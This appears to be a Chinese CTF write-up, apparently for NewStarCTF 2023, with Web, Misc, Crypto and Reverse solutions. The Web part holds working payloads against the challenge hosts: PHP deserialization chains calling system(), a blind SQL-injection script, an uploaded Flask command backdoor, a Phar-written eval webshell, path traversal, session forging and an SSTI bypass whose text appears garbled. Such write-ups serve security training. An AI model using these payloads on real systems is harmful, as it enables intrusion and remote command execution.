key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
```

即可得到 flag。

### \[Week 4]More Fast

* GC 回收

```php
<?php
highlight_file(__FILE__);

class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
```

> 在PHP中，使用 `引用计数` 和 `回收周期` 来自动管理内存对象的，当一个变量被设置为 `NULL` ，或者没有任何指针指向 时，它就会被变成垃圾，被 `GC` 机制自动回收掉 那么这里的话我们就可以理解为，当一个对象没有被引用时，就会被 `GC` 机制回收，在回收的过程中，它会自动触发 `_destruct` 方法，而这也就是我们绕过抛出异常的关键点。
>
> <https://xz.aliyun.com/t/11843>

当 Unserialize 运行失败时，则会对运行中的已经创建出来的类进行销毁，提前触发 \_\_destruct 函数。

触发 GC 机制的方法：

* 对象被 unset() 函数处理；
* 数组对象为 NULL 。

```php
<?php
show_source(__FILE__);

class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}

$a=array(new B,0);

echo serialize($a);

// a:2:{i:0;O:1:"B":0:{}i:1;i:0;}
// 数组:长度为2::{int型:长度0;类:长度为1:类名为"B":值为0 int型:值为1：int型;值为0
```

将第二个索引值设为空 ，就可以触发 GC 回收机制。

POP 链如下：

```
Start::__destruct()->Crypto::__toString()->Reverse::__get($var)->Pwn::__invoke()->Web::evil()
```

```php
$p = new Pwn();
$p->obj = new Web;
$p->obj->func = "system";
$p->obj->var = "ls /";
$r = new Reverse();
$r->func = $p;
$c = new Crypto();
$c->obj = $r;
$s = new Start();
$s->errMsg = $c;

$a = array($s, 0);
echo serialize($a);
// a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}i:1;i:0;}
```

通过将第二个索引 `i:1` 修改为 `i:0` 即可出发 GC 回收机制，构造 Payload 如下

```
fast=a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}i:0;i:0;}
```

即可得到目录，再构造 Payload 如下即可得到 flag 。

```
fast=a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;i:0;}
```

### \[Week 4]midsql

```php
$cmd = "select name, price from items where id = ".$_REQUEST["id"];
$result = mysqli_fetch_all($result);
$result = $result[0];
```

经过尝试无论输入什么正确的都只会回显 `你不会以为我真的会告诉你结果吧` ，猜测需要进行盲注，先通过构造不同的 Payload 判断哪些被进行了过滤需要进行绕过。

经过测试，空格、等号被绕过了，可以通过 `/**/` 和 `like` 进行绕过。

```python
import time
import socket
import requests
import requests.packages.urllib3.util.connection as urllib3_conn

urllib3_conn.allowed_gai_family = lambda: socket.AF_INET

session = requests.Session()
def getDatabase():
    results = []
    for i in range(1, 1000):
        print(f'{i}...')
        start = -1 
        end = 255
        mid = -1
        while start < end:
            mid = (start + end) // 2
            url = "http://c968b372-387a-4e4b-b157-b99e627c3a66.node5.buuoj.cn:81/"
            params = {"id": f"1/**/and/**/if(ascii(substr(database(),{i},1))>{mid},sleep(1),1)#"}
            ret = session.get(url, params=params)
            assert ret.status_code == 200, f'code: {ret.status_code}'
            assert '429 Too Many Requests' not in ret.text
            if ret.elapsed.total_seconds() >= 1:
                start = mid + 1
            else:
                end = mid
            time.sleep(0.05)
        if mid == -1:
            break
        results.append(chr(start))
        print(''.join(results))
    return ''.join(results)

begin = time.time()
getDatabase()
print(f'time spend: {time.time() - begin}')

"""
1...
c
2...
ct
3...
ctf
4...
time spend: 16.405414819717407
"""
```

可以得出数据库名为 `ctf` 。

```python
params = {"id": f"1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'ctf'),{i},1))>{mid},sleep(1),1)#"}
```

可以得出表名为 `items` 。

```python
params = {"id": f"1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'ctf'/**/and/**/table_name/**/like'items'),{i},1))>{mid},sleep(1),1)#"}
```

可以得出字段名为 `id,name,price` 。

```python
params = {"id": f"1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i},1))>{mid},sleep(1),1)#"}
```

可以得出值 `1lolita1000,520lolita's flag is flag{647190d8-7511-4386-b513-15440eb033be}1688` 。

### \[Week 4]Flask Disk

根据题目已知框架为 Flask ，通过 `admin manage` 已知开启了 Debug 模式，在该模式下修改 `app.py` 会立即加载，通过 Upload 上传新的 `app.py` 。

```python
from flask import *
import os

app = Flask(__name__)
@app.route('/')

def index():
    try:
        cmd = request.args.get('1')
        data = os.popen(cmd).read()
        return data
    except:
        pass

    return "1"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000,debug=True)
```

上传后通过构造 Payload 获得 flag 。

```
1=cat /flag
```

### \[Week 4]PharOne

查看源代码可以发现提示 `class.php` ，通过查看可以得到源码如下。

```php
<?php
highlight_file(__FILE__);
class Flag{
    public $cmd;
    public function __destruct()
    {
        @exec($this->cmd);
    }
}
@unlink($_POST['file']);
```

结合标题可以通过 Phar 反序列化来写入 WebShell ，经过随机上传发现存在文件类型检测。

```php
<?php
highlight_file(__FILE__);
class Flag{
    public $cmd;
}

$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST[1]);\">/var/www/html/1.php";
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
```

通过上传发现存在过滤 `!preg_match("/__HALT_COMPILER/i",FILE_CONTENTS)` ，可以通过 gzip 压缩进行绕过。

```shell
$ gzip -f 1.phar
$ mv 1.phar.gz 1.jpg
```

修改好后进行上传得到回显如下。

```
Saved to: upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg
```

再通过构造 Payload 如下即可上传恶意 WebShell 。

```
// class.php
file=phar://upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg
```

此时通过构造 Payload 如下即可获得 flag 。

```
// 1.php
1=system("cat /f*");
```

### \[Week 4]InjectMe

附件：Dockerfile

```
FROM vulhub/flask:1.1.1
ENV FLAG=flag{not_here}
COPY src/ /app
RUN mv /app/start.sh /start.sh && chmod 777 /start.sh
CMD [ "/start.sh" ]
EXPOSE 8080
```

可以得出站点目录在 `/app` 中，通过查看图片 `110.jpg` 可以得到部分源码。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FMmBwM1uiEHIBau4Mszpm%2Finjectme-1.jpg?alt=media&amp;token=fa0d4a39-3e78-4fc8-bbef-f7a8cda9a47a" alt=""><figcaption></figcaption></figure>

可以发现 `../` 被替换成了空，但是可以通过类似双写的方法进行绕过从而实现路径穿越，构造 Payload 如下。

```
/download?file=..././..././..././app/app.py
```

可以得到 `app.py` 的源码如下。

```python
import os
import re

from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key


@app.route('/')
def hello_world():  # put application's code here
    return render_template('index.html')


@app.route("/cancanneed", methods=["GET"])
def cancanneed():
    all_filename = os.listdir('./static/img/')
    filename = request.args.get('file', '')
    if filename:
        return render_template('img.html', filename=filename, all_filename=all_filename)
    else:
        return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"


@app.route("/download", methods=["GET"])
def download():
    filename = request.args.get('file', '')
    if filename:
        filename = filename.replace('../', '')
        filename = os.path.join('static/img/', filename)
        print(filename)
        if (os.path.exists(filename)) and ("start" not in filename):
            return send_file(filename)
        else:
            abort(500)
    else:
        abort(404)


@app.route('/backdoor', methods=["GET"])
def backdoor():
    try:
        print(session.get("user"))
        if session.get("user") is None:
            session['user'] = "guest"
        name = session.get("user")
        if re.findall(
                r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
                name):
            abort(500)
        else:
            return render_template_string(
                '竟然给<h1>%s</h1>你找到了我的后门，你一定是网络安全大赛冠军吧！😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
    except Exception:
        abort(500)


@app.errorhandler(404)
def page_not_find(e):
    return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html'), 500


if __name__ == '__main__':
    app.run('0.0.0.0', port=8080)
```

通过分析 backdoor 函数可知需要进行 session 伪造来修改 `session['user']` ，通过源码可知 `secret_key` 位于 `config.py` 中，通过上述相同方法获取，回显如下。

```
secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
```

```shell
$ python .\flask_session_cookie_manager3.py decode -s "y0u_n3ver_k0nw_s3cret_key_1s_newst4r" -c "eyJ1c2VyIjoiZ3Vlc3QifQ.ZgfcyA.YhCEWdSzBAAgOIUh5lmFU
AoCqDY"
{'user': 'guest'}
```

成功 decode 后，还需要进行绕过，编写一个 Python 脚本如下。

```python
import subprocess
import requests

payload = '<div data-gb-custom-block data-tag="set" data-i=''></div><div data-gb-custom-block data-tag="print" data-0='24' data-1='24' data-2='24' data-3='24' data-4='24' data-5='24' data-6='24' data-7='2' data-8='2' data-9='2' data-10='g' data-11='' data-12='~i[24]*2][(' data-13='2' data-14='2' data-15='' data-16='' data-17='|select|string)[24]*2~' data-18='' data-19='' data-20='' data-21='~i[24]*2][i[24]*2~' data-22='2' data-23='2' data-24='import' data-25='~i[24]*2](' data-26='' data-27='s' data-28='p' data-29='' data-30='open' data-31='l' data-32='~' data-33='s' data-34='10' data-35='10' data-36='0' data-37='/' data-38='))[' data-39='read'></div>'

def getSession():
    command = ['python', 'flask_session_cookie_manager3.py', 'encode', '-t',
               "{{'user':'{0}'}}".format(payload), '-s',
               "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"]
    result = subprocess.run(command, capture_output=True, text=True)
    output = result.stdout.strip()
    return output


a = getSession()
print(a)

url = "http://cc52e144-c6c3-4b89-abcc-472db5bf1e69.node5.buuoj.cn:81/backdoor"
cookies = {"session": a}
res = requests.get(url=url, cookies=cookies)
print(res.text)

"""
竟然给<h1>app
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
y0U3_f14g_1s_h3re
</h1>你找到了我的后门，你一定是网络安全大赛冠军吧！😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁
"""
```

发现成功绕过并且获得 flag 文件名 `y0U3_f14g_1s_h3re` ，通过修改脚本如下即可得到 flag 。

```python
payload = '<div data-gb-custom-block data-tag="set" data-i=''></div><div data-gb-custom-block data-tag="print" data-0='24' data-1='24' data-2='24' data-3='24' data-4='24' data-5='24' data-6='24' data-7='2' data-8='2' data-9='2' data-10='g' data-11='' data-12='~i[24]*2][(' data-13='2' data-14='2' data-15='' data-16='' data-17='|select|string)[24]*2~' data-18='' data-19='' data-20='' data-21='~i[24]*2][i[24]*2~' data-22='2' data-23='2' data-24='import' data-25='~i[24]*2](' data-26='' data-27='s' data-28='p' data-29='' data-30='open' data-31='c' data-32='~' data-33='at' data-34='10' data-35='10' data-36='0' data-37='/y0U3_f14g_1s_h3re' data-38='))[' data-39='read'></div>'
```

## Misc

### \[Week 1]CyberChef's Secret

```
来签到吧！下面这个就是flag，不过它看起来好像怪怪的:-)
M5YHEUTEKFBW6YJWKZGU44CXIEYUWMLSNJLTOZCXIJTWCZD2IZRVG4TJPBSGGWBWHFMXQTDFJNXDQTA=
```

CyberChef 一把梭，flag 如下

```
flag{Base_15_S0_Easy_^_^}
```

### \[Week 1]机密图片

通过 zteg 可以得到 flag。

```shell
┌──(kali㉿kali)-[~/Desktop]
└─$ zsteg secret.png
b1,r,lsb,xy         .. text: ":=z^rzwPQb"
b1,g,lsb,xy         .. file: OpenPGP Public Key
b1,b,lsb,xy         .. file: OpenPGP Secret Key
b1,rgb,lsb,xy       .. text: "flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece}"
b3,b,lsb,xy         .. file: very old 16-bit-int big-endian archive
b4,bgr,msb,xy       .. file: MPEG ADTS, layer I, v2, 112 kbps, 24 kHz, JntStereo
```

### \[Week 1]流量！鲨鱼！

用 WireShark 打开后在过滤器中输入 `http.response.code==200` 可以得到所有成功访问的 http 请求。

通过一个一个看可以发现一个特殊的请求，如下图

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2F7H7HTZ8Um2qLSy9p9vO2%2F%E6%B5%81%E9%87%8F%EF%BC%81%E9%B2%A8%E9%B1%BC%EF%BC%81-1.png?alt=media&amp;token=d899f3b4-a883-47f2-9324-a82d58dcd452" alt=""><figcaption></figcaption></figure>

可以发现这是请求 flag 并且将 flag 以 base64 编码的形态输出，通过将值进行 base64 解码即可得到 flag。

```
flag{Wri35h4rk_1s_u53ful_b72a609537e6}
```

### \[Week 1]压缩包们

通过 binwalk 可以知道这是个 zip 压缩包，用 010 打开后发现缺少了文件头，需要进行修改，如下图。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FAm2wVc1SpIn7HBxrnnly%2F%E5%8E%8B%E7%BC%A9%E5%8C%85%E4%BB%AC-1.png?alt=media&amp;token=4219215d-a85c-42bd-845a-f0158343963e" alt=""><figcaption></figcaption></figure>

修改后将后缀名修改为 zip ，解压得到 flag.zip 但打开压缩包会提示压缩包数据错误 - 该文件已损坏，再看看全局方式位标记是否有错。

> <https://mp.weixin.qq.com/s?__biz=MzAwNDcwMDgzMA==&mid=2651042332&idx=7&sn=ff5bb33bb0f49470a9140976d9ced3fa>

通过 010 可以看到压缩源文件数据的全局方式位标记为 `09 00` ，压缩源文件目录区的全局方式位标记 `00 00` ，将压缩源文件目录区的全局方式位标记也修改为 `09 00` 再打开压缩包发现压缩包正常了。

在压缩包注释中存在一串 base64 编码内容如下

```
SSBsaWtlIHNpeC1kaWdpdCBudW1iZXJzIGJlY2F1c2UgdGhleSBhcmUgdmVyeSBjb25jaXNlIGFuZCBlYXN5IHRvIHJlbWVtYmVyLg==
```

解码内容如下

```
I like six-digit numbers because they are very concise and easy to remember.
```

说明密码应该为 6 个数字，用 ARCHPR 进行爆破即可得到密码为 `232311` ，解压后即可得到 flag

```
flag{y0u_ar3_the_m4ter_of_z1111ppp_606a4adc}
```

### \[Week 1]空白格

```
   		  		 
	
     		 		  
	
     		    	
	
     		  			
	
     				 		
	
     			 			
	
     		  		
	
     	 					
	
     		 	   
	
     		 	  
	
     			 		 
	
     		  		
	
     	 					
	
     			 	  
	
     		 				
	
     		    
	
     	 					
	
     		 		 	
	
     		 	  
	
     		 			 
	
     				  	
	
     	 					
	
     			 			
	
     		 	   
	
     		   	
	
     			 	  
	
     		  		
	
     	 					
	
     			  		
	
     			    
	
     		 	  
	
     		   		
	
     		  	 	
	
     	 					
	
     		  	 
	
     		    	
	
     		 	 	
	
     		   	 
	
     		 	  
	
     		  	 	
	
     		    
	
     		 	  
	
     					 	
	
  
```

使用 VSCode 打开可以发现这是由 `换行符` 、`制表符` 和 `空格` 组成的内容，通过百度发现是 whitespace 语言。

> <https://www.w3cschool.cn/tryrun/runcode?lang=whitespace>

通过在线工具即可得到 flag 如下

```
flag{w3_h4v3_to0_m4ny_wh1t3_sp4ce_2a5b4e04}
```

### \[Week 1]隐秘的眼睛

使用 SilentEye 进行 Decode 即可得到 flag，密钥用的是默认的。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2Fxb8dtvA0iGfVA8P2hXtf%2F%E9%9A%90%E7%A7%98%E7%9A%84%E7%9C%BC%E7%9D%9B-1.png?alt=media&amp;token=47ffcf4e-cb24-43cf-96d8-52b9fbe543e3" alt=""><figcaption></figcaption></figure>

```
flag{R0ck1ng_y0u_63b0dc13a591}
```

### \[Week 2]新建Word文档

<http://hi.pcmoe.net/buddha.html>

## Crypto

### \[Week 1]brainfuck

密文如下

```
++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<<-.>>++..<.>.++++++.....------.<.>.<<<<<+++.>>>>+.<<<+++++++.>>>+.<<<-------.>>>-.<<<+.+++++++.--..>>>>---.-.<<<<-.+++.>>>>.<<<<-------.+.>>>>>++.
```

> <https://www.splitbrain.org/services/ook>

```
flag{Oiiaioooooiai#b7c0b1866fe58e12}
```

### \[Week 1]Caesar's Secert

密文如下

```
kqfl{hf3x4w'x_h1umjw_n5_a4wd_3fed}
```

> <https://www.dcode.fr/caesar-cipher>

```
flag{ca3s4r's_c1pher_i5_v4ry_3azy}
```

### \[Week 1]Fence

密文如下

```
fa{ereigtepanet6680}lgrodrn_h_litx#8fc3
```

栅栏密码，使用 CyberChef 可以解出来

```
#recipe=Rail_Fence_Cipher_Decode(2,0)&input=ZmF7ZXJlaWd0ZXBhbmV0NjY4MH1sZ3JvZHJuX2hfbGl0eCM4ZmMz
```

```
flag{reordering_the_plaintext#686f8c03}
```

### \[Week 1]Vigenère

密文如下

```
pqcq{qc_m1kt4_njn_5slp0b_lkyacx_gcdy1ud4_g3nv5x0}
```

> <https://www.dcode.fr/vigenere-cipher>

维吉尼亚密码解密，将密文丢进上述链接中，并设置

```
Knowing a plaintext word: flag{
```

可以发现当 Key 前三位为 `KFC` 时存在 `flag{` ，故尝试让 Key 就等于 `KFC` ，发现就是 flag。

```
flag{la_c1fr4_del_5ign0r_giovan_batt1st4_b3ll5s0}
```

### \[Week 1]babyencoding

密文如下

```
part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`
```

前两个用 CyberChef 可以一把梭，结果如下。

```
part 1 of flag: flag{dazzling_encoding#4e0ad4
part 2 of flag: f0ca08d1e1d0f10c0c7afe422fea7
```

第三部分使用的是 UUEncode 编码

> <http://www.atoolbox.net/Tool.php?Id=731>

解密后可以得到第三部分

```
part 3 of flag: c55192c992036ef623372601ff3a}
```

### \[Week 1]Small d

> <https://github.com/pablocelayes/rsa-wiener-attack>

题目中的 e 很大，说明 d 就会很小，通过 Wiener 攻击来解出 d。

```python
from Crypto.Util.number import long_to_bytes
from RSAwienerHacker import hack_RSA
e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
d = hack_RSA(e, n)
print(d)
m = pow(c, d, n)
print(long_to_bytes(m))
```

### \[Week 1]babyrsa

> 题目描述：很容易分解的n
>
> <http://factordb.com/>

题目描述中给出 hint ，通过 factordb 分解 n ，可以得到以下数组。

```python
array_p = [2217990919, 2338725373, 2370292207, 2463878387, 2706073949, 2794985117, 2804303069, 2923072267, 2970591037, 3207148519, 3654864131, 3831680819, 3939901243, 4093178561, 4278428893]
```

分解所得均为素数，通过计算出 phi 即可得出结果。

```python
import gmpy2
from Crypto.Util.number import long_to_bytes, isPrime

n = 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
e = 65537
c = 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595

array_p = [2217990919, 2338725373, 2370292207, 2463878387, 2706073949, 2794985117, 2804303069, 2923072267, 2970591037, 3207148519, 3654864131, 3831680819, 3939901243, 4093178561, 4278428893]

phi = 1
for p in array_p:
    if isPrime(p):
        phi *= (p - 1)
    else:
        exit(1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
```

### \[Week 1]babyxor

```python
from secret import *

ciphertext = []

for f in flag:
    ciphertext.append(f ^ key)

print(bytes(ciphertext).hex())
# e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2
```

知道明文前五位为 `flag{` ，通过异或密文前五位来得出 `key` ，python 脚本如下

```python
ciphertext_hex = "e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2"
ciphertext = bytes.fromhex(ciphertext_hex)
known_plaintext = b"flag{"
partial_key = [ciphertext[i] ^ known_plaintext[i] for i in range(5)]
print("Partial key:", bytes(partial_key))
# Partial key: b'\x8f\x8f\x8f\x8f\x8f'
```

可以得出 key 为 `\x8f` ，通过遍历异或整串密文就可以得到 flag，脚本如下

```python
ciphertext_hex = "e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2"
ciphertext = bytes.fromhex(ciphertext_hex)
key = int.from_bytes(b'\x8f', 'big')
print(bytes([ciphertext[i] ^ key for i in range(36)]))
```

### \[Week 1]Affine

```python
from flag import flag, key

modulus = 256

ciphertext = []

for f in flag:
    ciphertext.append((key[0]*f + key[1]) % modulus)

print(bytes(ciphertext).hex())

# dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064
```

通过将明文的每个字符与 `key[0]` 相乘再加上 `key[1]` 模 256即可得到密文，因此把过程倒过来即可得到 flag。

加密过程: $(key\[0] \* f + key\[1])\ mod\ 256$

因为进行模运算，逆过来需要先求出逆元，通过求出逆元就可以逆推得出 flag。

解密过程: $key\[0]^{-1} \* (c-key\[1])\ mod\ 256 $

根据已知明文 `flag{` 爆破出逆元后通过解出的 `key[0]` 和 `key[1]` 代入求解即可，脚本如下

```python
def mod_inverse(a, m):
    for x in range(1, m):
        if (a * x) % m == 1:
            return x
    return None

ciphertext = bytes.fromhex("dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064")

known_text = b"flag{"

for k0 in range(256):
    for k1 in range(256):
        inv_k0 = mod_inverse(k0, 256)
        if not inv_k0:
            continue
        decrypted = [(inv_k0 * (c - k1)) % 256 for c in ciphertext[:len(known_text)]]
        if bytes(decrypted) == known_text:
            print(bytes([(inv_k0 * (c - k1)) % 256 for c in ciphertext[:len(ciphertext)]]))
            break
            
# flag{4ff1ne_c1pher_i5_very_3azy}
```

### \[Week 1]babyaes

```python
from Crypto.Cipher import AES
import os
from flag import flag
from Crypto.Util.number import *


def pad(data):
    return data + b"".join([b'\x00' for _ in range(0, 16 - len(data))])


def main():
    flag_ = pad(flag)
    key = os.urandom(16) * 2
    iv = os.urandom(16)
    print(bytes_to_long(key) ^ bytes_to_long(iv) ^ 1)
    aes = AES.new(key, AES.MODE_CBC, iv)
    enc_flag = aes.encrypt(flag_)
    print(enc_flag)


if __name__ == "__main__":
    main()
# 3657491768215750635844958060963805125333761387746954618540958489914964573229
# b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'
```

由于 key 是由一段随机 16bit 的值复制两次拼接出来的值，并且给出了 $key\ \oplus\ iv\ \oplus\ 1$ 的值，因此可以先异或 1 得到 $key\ \oplus\ iv$ 的值。

由于此时的 key 为 32bit，而 iv 为 16bit，因此解出来的值得前半段就是 key 值，再通过将前半段异或后半段即可得到 iv 值，脚本如下

```python
xor_result = 3657491768215750635844958060963805125333761387746954618540958489914964573229
xor_result_bytes = long_to_bytes(xor_result ^ 1)
key = xor_result_bytes[:16] * 2
print(f'key = {key}')
iv = long_to_bytes(bytes_to_long(xor_result_bytes[:16]) ^ bytes_to_long(xor_result_bytes[16:]))
print(f'iv = {iv}')
# key = b'\x08\x16\x11%\xa0\xa6\xc5\xcb^\x02\x99NF`\xea,\x08\x16\x11%\xa0\xa6\xc5\xcb^\x02\x99NF`\xea,'
# iv = b'\xe3Z\x19Ga>\x07\xcc\xd1\xa1X\x01c\x11\x16\x00'
```

将解出的 key 和 iv 丢进 AES 中进行解密即可得到 flag，完整脚本如下

```python
from Crypto.Cipher import AES
from Crypto.Util.number import *

xor_result = 3657491768215750635844958060963805125333761387746954618540958489914964573229
enc_flag = b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'

xor_result_bytes = long_to_bytes(xor_result ^ 1)
print(xor_result_bytes)

key = xor_result_bytes[:16] * 2
print(f'key = {key}')

iv = long_to_bytes(bytes_to_long(xor_result_bytes[:16]) ^ bytes_to_long(xor_result_bytes[16:]))
print(f'iv = {iv}')

aes = AES.new(key, AES.MODE_CBC, iv)
dec_flag = aes.decrypt(enc_flag)

print(dec_flag)
# b'firsT_cry_Aes\x00\x00\x00'
```

## Reverse

### \[Week 1]easy\_RE

用 ida64 打开可以得到前半部分 flag ，如下图

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FrVJhiBNKJjeU6AxqbWwh%2Feasy_RE-1.png?alt=media&amp;token=44fe0793-2d3a-48c9-87e2-6f0521ef3097" alt=""><figcaption></figcaption></figure>

通过按 F5 反编译可以得到后半部分 flag ，如下图

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FKvr06vPdXWrnKFMMbnPx%2Feasy_RE-2.png?alt=media&amp;token=60f90511-d3fa-45c9-9405-97b56465c6f1" alt=""><figcaption></figcaption></figure>

故 flag 如下

```
flag{we1c0me_to_rev3rse!!}}
```

### \[Week 1]咳

题目描述中存在壳，用查壳软件看看，如下图

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FjJRCfmdtbKA2NAxc3iF8%2F%E5%92%B3-1.png?alt=media&amp;token=8388cf8a-b1de-4ec0-a465-2792fded509c" alt=""><figcaption></figcaption></figure>

需要使用 upx 去壳，如下

```bash
$ upx -d "KE.exe"
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96w       Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    133760 <-     68224   51.00%    win64/pe     KE.exe

Unpacked 1 file.
```

去壳完成后用 ida64 打开，通过反编译可以得到以下内容

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 i; // r10
  char *v4; // kr00_8
  char Str1[96]; // [rsp+20h] [rbp-88h] BYREF
  int v7; // [rsp+80h] [rbp-28h]

  _main();
  memset(Str1, 0, sizeof(Str1));
  v7 = 0;
  Hello();
  scanf("%s", Str1);
  for ( i = 0i64; ; ++i )
  {
    v4 = &Str1[strlen(Str1)];
    if ( i >= v4 - Str1 )
      break;
    ++Str1[i];
  }
  if ( !strncmp(Str1, enc, v4 - Str1) )
    puts("WOW!!");
  else
    puts("I believe you can do it!");
  system("pause");
  return 0;
}
```

并且可以找到

